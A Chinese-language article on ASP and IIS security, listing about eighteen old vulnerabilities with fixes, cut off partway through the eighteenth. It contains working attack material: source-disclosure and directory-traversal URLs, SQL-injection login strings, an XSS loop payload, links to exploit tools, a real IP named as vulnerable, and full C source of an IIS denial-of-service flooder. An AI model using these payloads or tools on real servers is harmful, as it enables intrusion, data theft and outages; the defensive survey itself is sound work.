狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

ASP網絡安全

admin
2011年4月24日 0:33 本文熱度 3035
一 前言
Microsoft Active Server Pages(ASP)是服務器端腳本編寫環境,使用它可以創建和運行動態、交互的 Web 服務器應用程序。使用 ASP 可以組合 HTML 頁 、腳本命令和 ActiveX 組件以創建交互的 Web 頁和基于 Web 的功能強大的應用程序。 現在很多網站特別是電子商務方面的網站,在前臺上大都用ASP來實現。以至于現在ASP在網站應用上很普遍。ASP是開發網站應用的快速工具,但是有些網站管理員只看到ASP的快速開發能力,卻忽視了ASP安全問題。ASP從一開始就一直受到眾多漏洞,后門的困擾,包括%81的噩夢,密碼驗證問題,IIS漏洞等等都一直使ASP網站開發人員心驚膽跳。
本文試圖從開放了ASP服務的操作系統漏洞和ASP程序本身漏洞,闡述ASP安全問題,并給出解決方法或者建議。
二 關鍵字

ASP,網絡安全,IIS,SSL,加密。
三 ASP工作機理

Active Server Page技術為應用開發商提供了基于腳本的直觀、快速、高效的應用開發手段,極大地提高了開發的效果。在討論ASP的安全性問題之前,讓我們來看看ASP是怎么工作的。ASP腳本是采用明文(plain text)方式來編寫的。

ASP腳本是一系列按特定語法(目前支持vbscript和jscript兩種腳本語言)編寫的,與標準HTML頁面混合在一起的腳本所構成的文本格式的文件。當客戶端的最終用戶用WEB瀏覽器通過INTERNET來訪問基于ASP腳本的應用時,WEB瀏覽器將向WEB服務器發出HTTP請求。WEB服務器分析、判斷出該請求是ASP腳本的應用后,自動通過ISAPI接口調用ASP腳本的解釋運行引擎(ASP.DLL)。ASP.DLL將從文件系統或內部緩沖區獲取指定的ASP腳本文件,接著就進行語法分析并解釋執行。最終的處理結果將形成HTML格式的內容,通過WEB服務器"原路"返回給WEB瀏覽器,由WEB瀏覽器在客戶端形成最終的結果呈現。這樣就完成了一次完整的ASP腳本調用。若干個有機的ASP腳本調用就組成了一個完整的ASP腳本應用。
讓我們來看看運行ASP所需的環境:

Microsoft Internet Information Server 3.0/4.0/5.0 on NT Server
Microsoft Internet Information Server 3.0/4.0/5.0 on Win2000
Microsoft Personal Web Server on Windows 95/98

WINDOWS NT Option Pack所帶的Microsoft IIS提供了強大的功能,但是IIS在網絡安全方面卻是比較危險的。因為很少有人會用Windows 95/98當服務器,因此本文我更多的從NT中的IIS安全問題來探討。

四 微軟自稱的ASP的安全優點

雖然我們本文的重點是探討ASP漏洞和后門,但是有必要談談ASP在網絡安全方面的"優點",之所以加個"",是因為有時這些微軟宣稱的"優點"恰恰是其安全隱犯。

微軟稱ASP在網絡安全方面一大優點就是用戶不能看到ASP的源程序,從ASP的原理上看,ASP在服務端執行并解釋成標準的HTML語句,再傳送給客戶端瀏覽器。"屏蔽"源程序能很好的維護ASP開發人員的版權,試想你辛辛苦苦做了一個很優秀的程序,給人任意COPY,你會怎么想?而且黑客還能分析你的ASP程序,挑出漏洞。更重要的是有些ASP開發者喜歡把密碼,有特權的用戶名和路徑直接寫在程序中,這樣別人通過猜密碼,猜路徑,很容易找到攻擊系統的"入口"。但是目前已經發現了很多能查看ASP源程序的漏洞,后面我們還要討論。

IIS支持虛擬目錄,通過在"服務器屬性"對話框中的"目錄"標簽可以管理虛擬目錄。建立虛擬目錄對于管理WEB站點具有非常重要的意義。虛擬目錄隱藏了有關站點目錄結構的重要信息。因為在瀏覽器中,客戶通過選擇"查看源代碼",很容易就能獲取頁面的文件路徑信息,如果在WEB頁中使用物理路徑,將暴露有關站點目錄的重要信息,這容易導致系統受到攻擊。其次,只要兩臺機器具有相同的虛擬目錄,你就可以在不對頁面代碼做任何改動的情況下,將WEB頁面從一臺機器上移到另一臺機器。還有就是,當你將WEB頁面放置于虛擬目錄下后,你可以對目錄設置不同的屬性,如:Read、Excute、Script。讀訪問表示將目錄內容從IIS傳遞到瀏覽器。而執行訪問則可以使在該目錄內執行可執行的文件。當你需要使用ASP時,就必須將你存放.asp文件的目錄設置為"Excute(執行)"。建議大家在設置WEB站點時,將HTML文件同ASP文件分開放置在不同的目錄下,然后將HTML子目錄設置為"讀",將ASP子目錄設置為"執行",這不僅方便了對WEB的管理,而且最重要的提高了ASP程序的安全性,防止了程序內容被客戶所訪問。

五 ASP漏洞分析和解決方法

有人說一臺不和外面聯系的電腦是最安全的電腦,一個關閉所有端口,不提供任何服務的電腦也是最安全的。黑客經常利用我們所開放的端口實施攻擊,這些攻擊最常見的是DDOS(拒絕服務攻擊).下面我會列出ASP的二十幾個漏洞,每個漏洞都會有漏洞描述和解決方法。
1 在ASP程序后加個特殊符號,能看到ASP源程序
受影響的版本:
win95+pws
IIS3.0
98+pws4 不存在這個漏洞。
IIS4.0以上的版本也不存在這個漏洞。
問題描述:
這些特殊符號包括小數點,%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini
(可以看到boot.ini的文件內容)那么在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的源程序。究竟是什么原因造成了這種可怕的漏洞呢?究其根源其實是 Windows NT 特有的文件系統在做怪。有一點常識的人都知道在 NT 提供了一種完全不同于 FAT 的文件系統:NTFS,這種被稱之為新技術文件系統的技術使得 NT 具有了較高的安全機制,但也正是因為它而產生了不少令人頭痛的隱患。大家可能不知道, NTFS 支持包含在一個文件中 的多數據流,而這個包含了所有內容的主數據流被稱之為"DATA",因此使得在瀏覽器 里直接訪問 NTFS 系統的這個特性而輕易的捕獲在文件中的腳本程序成為了可能。然而 直接導致 ::$DATA 的原因是由于 IIS 在解析文件名的時候出了問題,它沒有很好地規范文件名。

解決方法和建議:

如果是Winodws NT用戶,安裝IIS4.0或者IIS5.0,Windows2000不存在這個問題。如果是win95用戶,安裝WIN98和PWS4.0。


2 ACCESS mdb 數據庫有可能被下載的漏洞

問題描述:

在用ACCESS做后臺數據庫時,如果有人通過各種方法知道或者猜到了服務器的ACCESS數據庫的路徑和數據庫名稱,那么他能夠下載這個ACCESS數據庫文件,這是非常危險的。比如:如果你的ACCESS數據庫book.mdb放在虛擬目錄下的database目錄下,那么有人在瀏覽器中打入:
http:// someurl/database/book.mdb如果你的book.mdb數據庫沒有事先加密的話,那book.mdb中所有重要的數據都掌握在別人的手中。

解決方法:

(1) 為你的數據庫文件名稱起個復雜的非常規的名字,并把他放在幾目錄下。所謂"非常規",打個比方:比如有個數據庫要保存的是有關書籍的信息,可不要把他起個"book.mdb"的名字,起個怪怪的名稱,比如d34ksfslf.mdb,再把他放在如./kdslf/i44/studi/ 的幾層目錄下,這樣黑客要想通過猜的方式得到你的ACCESS數據庫文件就難上加難了。
(2)不要把數據庫名寫在程序中。有些人喜歡把DSN寫在程序中,比如:

DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath

假如萬一給人拿到了源程序,你的ACCESS數據庫的名字就一覽無余。因此建議你在ODBC里設置數據源,再在程序中這樣寫:
conn.open "shujiyuan"
(3)使用ACCESS來為數據庫文件編碼及加密。首先在選取"工具->安全->加密/解密數據庫,選取數據庫(如:employer.mdb),然后接確定,接著會出現"數據庫加密后另存為"的窗口,存為:employer1.mdb。接著employer.mdb就會被編碼,然后存為employer1.mdb..
要注意的是,以上的動作并不是對數據庫設置密碼,而只是對數據庫文件加以編碼,目的是為了防止他人使用別的工具來查看數據庫文件的內容。
接下來我們為數據庫加密,首先以打開經過編碼了的employer1.mdb,在打開時,選擇"獨占"方式。然后選取功能表的"工具->安全->設置數據庫密碼",接著輸入密碼即可。
為employer1.mdb設置密碼之后,接下來如果再使用ACCEES數據庫文件時,則ACCESS會先要求輸入密碼,驗證正確后才能夠啟動數據庫。
不過要在ASP程序中的connection對象的open方法中增加PWD的參數即可,例如:

param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"
param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param

這樣即使他人得到了employer1.mdb文件,沒有密碼他是無法看到employer1.mdb的。


3 code.asp文件會泄漏ASP代碼

問題描述:

舉個很簡單的例子,在微軟提供的 ASP1.0 的例程里有一個 .asp 文件專門用來查看其它 .asp 文件的源代碼,該文件為
 ASPSamp/Samples/code.asp。如果有人把這個程序上傳到服務器,而服務器端沒有任何防范措施的話,他就可以很容易地查看他人的程序。例如 :
  code.asp?source=/directory/file.asp
不過這是個比較舊的漏洞了,相信現在很少會出現這種漏洞。
下面這命令是比較新的:
http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫過于asa文件可以被上述方式讀出;數據庫密碼以明文形式暴露在黑客眼前;

問題解決或建議:

對于IIS自帶的show asp code的asp程序文件,刪除該文件或者禁止訪問該目錄即可


4、filesystemobject 組件篡改下載 fat 分區上的任何文件的漏洞

問題描述:

  IIS3、 IIS4 的 ASP 的文件操作都可以通過 filesystemobject 實現,包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等,但是這個強大的功能也留下了非常危險的 "后門"。利用 filesystemobjet 可以篡改下載 fat 分區上的任何文件。即使是 ntfs 分區,如果權限沒有設定好的話,同樣也能破壞,一不小心你就可能遭受"滅頂之災 "。遺憾的是很多 webmaster 只知道讓 web 服務器運行起來,很少對 ntfs 進行權限 設置,而 NT 目錄權限的默認設置偏偏安全性又低得可怕。因此,如果你是 Webmaster,建議你密切關注服務器的設置,盡量將 web 目錄建在 ntfs 分區上,目錄不要設定 everyone full control,即使是是管理員組的成員一般也沒什么必要 full control,只要有讀取、更改權限就足夠了。 也可以把filesystemobject的組件刪除或者改名。


5、輸入標準的HTML語句或者javascript語句會改變輸出結果

問題描述:

在輸入框中打入標準的HTML語句會得到什么相的結果呢?比如一個留言本,我們留言內容中打入:

<font size=10>你好!</font>

如果你的ASP程序中沒有屏蔽html語句,那么就會改變"你好"字體的大小。在留言本中改變字體大小和貼圖有時并不是什么壞事,反而可以使留言本生動。但是如果在輸入框中寫個 javascript 的死循環,比如:<a herf="http://someurl" onMouseover="while(1){window.close(/)}">特大新聞</a>
那么其他查看該留言的客人只要移動鼠標到"特大新聞",上就會使用戶的瀏覽器因死循環而死掉。

解決方法和建議:

編寫類似程序時應該做好對此類操作的防范,譬如可以寫一段程序判斷客戶端的輸入,并屏蔽掉所有的 HTML、 Javascript 語句。


6、ASP程序密碼驗證漏洞

漏洞描述:

很多網站把密碼放到數據庫中,在登陸驗證中用以下sql,(以asp為例)
sql="select * from user where username="&username&"and pass="& pass &"
此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben or 1=1
就可以進入本來你沒有特權的頁面。再來看看上面那個語句吧:
sql="select * from user where username="&username&"and pass="& pass&"
此時,您只要根據sql構造一個特殊的用戶名和密碼,如:ben or 1=1
這樣,程序將會變成這樣: sql="select*from username where username="&benor1=1&"and pass="&pass&"
or 是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那么等式將會成立.而在語言中,是以1來代表真的(成立).那么在這行語句中,原語句的"and"驗證將不再繼續,而因為"1=1"和"or"令語句返回為真值.。
另外我們也可以構造以下的用戶名:
username=aa or username<>aa
pass=aa or pass<>aa
相應的在瀏覽器端的用戶名框內寫入:aa or username<>aa
口令框內寫入:aa or pass<>aa,注意這兩個字符串兩頭是沒有的。
這樣就可以成功的騙過系統而進入。

后一種方法理論雖然如此,但要實踐是非常困難的,下面兩個條件都必須具備。

1. 你首先要能夠準確的知道系統在表中是用哪兩個字段存儲用戶名和口令的,只有這樣你才能準確的構造出這個進攻性的字符串。實際上這是很難猜中的。
2.系統對你輸入的字符串不進行有效性檢查。

問題解決和建議:

對輸入的內容驗證和""號的處理。


7、IIS4或者IIS5中安裝有INDEX SERVER服務會漏洞ASP源程序

問題描述:

在運行IIS4或者IIS5的Index Server,輸入特殊的字符格式可以看到ASP源程序或者其它頁面的程序。甚至以及添打了最近關于參看源代碼的補丁程序的系統,或者沒有.htw文件的系統,一樣存在該問題。獲得asp程序,甚至global.asa文件的源代碼,無疑對系統是一個非常重大的安全隱患。往往這些代碼中包含了用戶密碼和ID,以及數據庫的源路徑和名稱等等。這對于攻擊者收集系統信息,進行下一步的入侵都是非常重要的。
通過構建下面的特殊程序可以參看該程序源代碼:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
這樣只是返回一些html格式的文件代碼,但是當你添加%20到CiWebHitsFile的參數后面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
這將獲得該程序的源代碼。
(注意:/default.asp是以web的根開始計算。如某站點的http:///welcome/welcome.asp
那么對應就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full

由于null.htw文件并非真正的系統映射文件,所以只是一個儲存在系統內存中的虛擬文件。哪怕你已經從你的系統中刪除了所有的真實的.htw文件,但是由于對null.htw文件的請求默認是由webhits.dll來處理。所以,IIS仍然收到該漏洞的威脅。

問題解決或者建議:

如果該webhits提供的功能是系統必須的,請下載相應的補丁程序。如果沒必要,請用IIS的MMC管理工具簡單移除.htw的映象文件。
補丁程序如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726


8、ASP聊天室程序的漏洞

問題描述:

如果聊天室ASP程序設計不當,很容易會給他人利用來做壞事:可以踢人,穿墻,搗亂.
首先,我們看看聊天室里有什么漏洞,大家看看下面這段代碼:

<html>
<head>
<body BGCOLOR="008888" TEXT="FFFFFF">
…………………………
………………
………
<form NAME="sendmsg" ACTION="chatt.asp" METHOD="POST" target="mtalk1"
OnSubmit="return chksend();">
<input type="hidden" name="username" value="測試者">******
<input type="hidden" name="sex" value="boy">********
<input type="hidden" name="message" value="">
<input type="hidden" name="a_method" value="sendtalk">
<div align="center"><center>
<table CELLSPACING="0" CELLPADDING="0"> <tr>
<td>發言: <input type="text" name="msg" size="60"> </td>
<td><input type="submit" value="發 言"> </td>
</tr>
<tr>
<td>悄悄:<input type=checkbox name=mtalk value=1>
對象:<input type="text" name="betalk" size="10">
表情:<select NAME="exp" onChange="document.sendmsg.msg.focus();documen
t.sendmsg.msg.select();" size="1">
………
……………
……………………
</form>
<form name="getout" ACTION="chatt.pl" METHOD="POST">
<input type="hidden" name="username" value="測試者">!!!!!!
<input type="hidden" name="a_method" value="getout">!!!!
<input type="submit" value="退 出"></td>
</form>
</body>
</html>
以上這段代碼是我在某個聊天室用"測試者"作代號登陸后在發言幀當下來的, 這只是一小部份,但在這一小部份代碼里面就有兩個漏洞。

第一個漏洞
大家看看上面的代碼加上"*"號的那兩句,其中第一句中的"測試者"就是我登陸的名字,還有,第二句中的"boy"是登陸時的性別,還有再看看下面我加上"!" 號的兩句,第一句里還是有我登陸時的名字,這幾句都是我現在想說的兩個漏洞所在點。如果想在這個聊天室里穿墻的話,只要把發言幀的代碼當下來另存,把"form"的"action"改成聊天室的地址,然后把再"*"號的第一句的"測試者"兩字改成想要的名字就可以了。也可以變換性別,只要把第二句的 "boy"改成"girl"。這就是所謂的穿墻術了。你甚至可以把它改成在線人的名字,然后發言,這樣就冒充別人的姓名談話。

第二個漏洞
踢人的漏洞就是這個了,我們看一下帶"!"號的第一句,上面有是合法用戶登陸的名字,再看第二句,他有"getout",再加上上面還有一段"form"標簽,這段就是我們退出聊天室時的代碼,這個有什么用呢?我們先試試看,首先還是把"form"標簽的"action"改成 聊天室的地址,不然就不知道提交給哪個家伙了。然后把"風風"改成你想踢下去的人的名字然后單擊"退出",那就把那個人踢出聊天室了。這個就是聊天室踢人的漏洞。
這兩個漏洞主要的原因是這兩個漏洞使服務程序不識別客戶發出的指令是不是合法用戶。 以上兩漏騙服務程序來更名發出發言,或更名退出,使得真正的使用者受害。
當然上面的程序中還有一個漏洞,輸入框沒有對HTML語句和JAVASCRIPT語句做過濾。這個問題我們在漏洞5中已有詳細分析,這里就不談了。

問題解決或者建議:

在程序設計中讓服務程序能識別到底是哪個家伙發出的指令就可以了,具體做法可以為每個聊天者發一個識別碼,象五筆字一樣,也可以用每個聊天者的密碼識別,也可以把聊天者的密碼隨機加密后用作識別等等 ,反正能使你的服務程序識別到底是誰發出的指令就可以了。


9、NT iss4.0_AuthChangeUrl? 漏洞

問題描述:

在NT iis4.0,當輸入如下命令時
http://someurl/_AuthChangeUrl?<font%20size=7%20color=red>你好
你看到發生了什么嗎?<font size=7 color=red>被解釋成功。出現了紅色的放大的"你好"字
我們再來看看以下的命令:
http://someurl/_AuthChangeUrl?<img%20src=file:\\\c:\1.jpg>
上面的命令將顯示c:根目錄下的1.jpg圖片,如果1.jpg存在的話。
http://someurl/_AuthChangeUrl?<a%20href=file:///c:/install.exe>
上面的命令將下載C:根目錄下的install.exe文件。
按照這種方法還能打開對方服務器上一個已經知道的文本文件。


10、微軟開發的兩個動態庫存在后門允許用戶查看ASP文件源程序和下載整個網站

問題描述:

隨IIS和Frontpage Extention server而來的動態庫程序,存在后門,允許用戶遠程讀取asp、asa和CGI程序的源代碼。但這個動態庫要求有密碼,這個后門的密碼是: "Netscape engineers are weenies!"
程序路徑為: /_vti_bin/_vti_aut/dvwssr.dll
一般安裝了 Frontpage98的 IIS服務器都有這個路徑和文件。這個程序要求解碼后才能發揮讀取asp等源程序,有趣的是,這個密碼正是嘲弄其競爭對手Netscape的。
現提供一個有該漏洞的國外網站給安全技術人員參考:
http://62.236.90.195
關于讀取源程序,請下載這個測試程序,用法為:
[john@Linux john]$ ./dvwssr1.pl 62.236.90.195 /cqsdoc/showcode.asp
測試程序: http://www.cnns.net/exploits/nt/dvwssr1.pl


11、漏洞名稱:IIS4.0受HTTP的D.O.S攻擊漏洞

問題描述:

受影響的版本:IIS 4.0以及更早的版本
這是一個很簡單的方法.發送很多的"Host:aaaaa...aa"到IIS:

GET / HTTP/1.1
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)
...10,000 lines
Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes)

發送了象上面所寫的兩次請求后,對方的IIS在接受了這些請求后就會導致內存溢出.當然,它就不能對更多的請求作出反應。因為對方正缺乏虛擬內存,服務器也將停止運行。事后,對方不能通過重起web service來解決問題,而必須重啟服務器。


12 漏洞名稱:IIS5.0超長URL拒絕服務漏洞

問題描述:

Microsoft IIS 5.0在處理以".ida"為擴展名的URL請求時,它會有兩種結果。一個可能的結果是服務器回復"URL String too long"的信息;或類似"Cannot find the specified path" 的信息。另一種可能就是服務器端服務停止,并返回"Access Violation"信息(即成功的實現了對服務器端的拒絕服務攻擊)
當遠端攻擊者發出類似如下的請求時:
http://someurl/...[25kb of .]...ida
服務器端會崩潰(導致拒絕服務攻擊)或返回該文件不在當前路徑的信息(暴露文件物理地址)

問題解決或者建議:

大多數情況下,站點很少使用擴展名為".ida"和".idq"的文件,可在ISAPI腳本映射中,將擴展名為".ida"和".idq"的應用程序映射刪除。


13 請求不存在的擴展名為idq或ida 文件,會暴露服務器上得物理地址

問題描述:

通過請求一個不存在的擴展名為idq或ida得文件,IIS會暴露文件在服務器上得物理地址.這樣會給攻擊者提供了不必要的信息,而且,這對攻擊一個Web站點來說,是很有價值的第一步。

測試程序:

通過請求如:
http://someurl/anything.ida
http://someurl/lunwen/anything.ida
或:
http://someurl/anything.idq
一個遠端用戶可以收到類似:The IDQ d:\http\anything.idq could not be found的響應。
這樣的一個響應就會讓攻擊者獲得了Web站點的物理路徑,并且還可以獲得更多的有關該站點在服務器上的組織與結構。


14、NT Index Server存在返回上級目錄的漏洞

問題描述

受影響的版本:Microsoft Index Server2.0 [WinNT4.0,WinNT 2000.0]
Index Sserver2.0是WinNT4.0 Option Pack中附帶的一個軟件的工具,其中的功能已經被WinNT 2000中的Indexing Services所包含。當與IIS結合使用時,Index Server和Indexing Services便可以在最初的環境來瀏覽Web Search的結果,它將生成一個HTML文件,其中包含了查找后所返回頁面內容的簡短引用,并將其連接至所返回的頁面[即符合查詢內容的頁面],也就是超級連接。要做到這一點,它便需要支持由webhits.dll ISAPI程序處理的.htw文件類型。這個dll允許在一個模版中使用"../"用做返回上級目錄的字符串.這樣,了解服務器文件結構的攻擊者便可以遠程的閱讀該機器上的任意文件了。

漏洞的利用:

1)您的系統中存在.htw文件
Index Server提供的這種超級連接允許Web用戶獲得一個關于他搜尋結果的返回頁,這個頁面的名字是與CiWebHitsFile變量一起通過.htw文件的,webhits.dll這個ISAPI程序將處理這個請求,對其進行超級連接并返回該頁面。因此用戶便可以控制通過.htw文件的CiWebHits變量,請求到任何所希望獲得的信息。另外存在的一個問題便是ASP或其他腳本文件的源代碼也可以利用該方法來獲得。
上面我們說過webhits.dll后接上"../"便可以訪問到Web虛擬目錄外的文件,下面我們來看個例子:
http://somerul/iissamples/issamples/oop/qfullhit.dll?CiWebHitsFile=/../../winnt/system32/logfiles/
w3svc1/ex000121.log&CiRestriction=none&CiHiliteType=Full
在瀏覽器中輸入該地址,便可以獲得該服務器上給定日期的Web日志文件.
在系統常見的.htw樣本文件有:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.hw
/iishelp/iis/misc/iirturnh.htw [這個文件通常受loopback限制]

2)您的系統中不存在.htw文件
調用一個webhits.dll ISAPI程序需要通過.htw文件來完成,如果您的系統中不存在.htw文件,雖然請求一個不存在的.htw文件將失敗,但是您的仍然存在可被利用的漏洞。其中的竅門便是利用inetinfo.exe來調用webhits.dll,這樣同樣能訪問到Web虛擬目錄外的文件。但我們需要通過制作一個的特殊的URL來完成該漏洞的利用。首先我們需要一個有效的文件資源,這個文件必須是一個靜態的文件,如".htm",".html",".txt"或者".gif",".jpg"。這些文件將用作模版來被webhits.dll打開。現在我們需要獲得inetinfo.exe來利用webhits.dll,唯一可以做到這點的便是請求一個.htw文件:

http://url/default.htm.htw?CiWebHitsFile=/../../winnt/system32/logfiles/w3svc1/
ex000121.log&CiRestriction=none&CiHiliteType=Full

很明顯,這個請求肯定會失敗,因為系統上不存在這個文件。但請注意,我們現在已經調用到了webhits.dll,我們只要在一個存在的文件資源后面[也就是在.htw前面]加上一串特殊的數字( %20s ),[就是在例子中default.htm后面加上這個代表空格的特殊數字],這樣我們便可以欺騙過web服務器從而達到我們的目的.由于在緩沖部分中.htw文件名字部分被刪除掉[由于%20s這個符號],所以,當請求傳送到webhits.dll的時候,便可以成功的打開該文件,并返回給客戶端,而且過程中并不要求系統中真的存在.htw文件。

問題解決和建議:

微軟已經對該問題發放了補丁:

Index Server 2.0:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha: http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Windows 2000 Indexing Services:
Intel: http://www.microsoft.com/downloads/release.asp?ReleaseID=17726


15 繞過驗證直接進入ASP頁面

漏洞描述:

如果用戶知道了一個ASP頁面的路徑和文件名,而這個文件又是要經過驗證才能進去的,但是用戶直接輸入這個ASP頁面的文件名,就有可能通過繞過驗證.比如:我在一些網站上這樣試過:首先關閉所有的瀏覽器,窗口,輸入:
http://someurl/system_search.asp?page=1
就樣就看到了只能系統員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:判斷session("system_name"),如果不為空時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機上生成一個session,如session("system_name")="admi",那因為session("system_name")不為空,這樣也能直接進入繞過密碼,直接進入管理員頁面。

解決方法:

在需要驗證的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的文件名,只有從上一頁面轉進來的會話才能讀取這個頁面。


16、IIS4.0/5.0特殊數據格式的URL請求遠程DOS攻擊

漏洞描述:

當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊數據格式的URL,會拖慢受攻擊web 服務器的響應速度,或許會使其暫時停止響應。

受影響的版本

Microsoft Internet Information Server 4.0
Microsoft Internet Information Server 5.0

漏洞測試程序如下:

http://202.96.168.51/download/exploits/iisdos.exe
源代碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測試程序:
只要打入:iisdos <***.***.**.**> 就能攻擊對方web 服務器

問題解決:

Internet Information Server 4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
Internet Information Server 5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的信息:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft 安全公告MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關連接
http://www.ussrback.com


17 IIS web server DOS

漏洞描述:

默認情況下,IIS容易被拒絕服務攻擊。如果注冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被創建,針對這種NT系統的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個鍵用于設置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設置為256(bytes),則攻擊者通過輸入大量的字符請求IIS將被限制在256字節以內。而系統的缺省設置對此不加限制,因此,利用下面的程序。可以很容易地對IIS server實行DOS攻擊:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Wont exit correctly and a lot
of other fun things.
//That I didnt want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, A, strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of As

攻擊結果將導致NT系統的CPU占用率達到 100%

解決方案

運行Regedt32.exe
在:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設置為十進制
具體數值設置為你想設定的IIS允許接受的URL最大長度。

18、MS ODBC數據庫連接溢出導致NT/9x拒絕服務攻擊

漏洞描述:

Microsoft ODBC數據庫在連接和斷開時可能存在潛在的溢出問題(Microsoft ACCESS數據庫相關)。
如果不取消連接而直接和第二個數據庫相連接,可能導致服務停止。

影響系統:

ODBC 版本: 3.510.3711.0
ODBC Access驅動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

漏洞檢測方法如下:

ODBC 連接源名稱: miscdb
ODBC 數據庫型號: MS Access
ODBC 假設路徑: d:\data\misc.mdb

ASP代碼如下:

<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%>

<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
Note we do NOT close the connection
%>

<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
